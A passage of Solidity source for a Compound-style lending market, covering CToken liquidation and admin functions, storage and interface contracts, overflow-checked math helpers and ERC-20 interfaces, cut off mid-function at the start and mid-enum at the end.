nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } pragma solidity ^0.5.16; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, 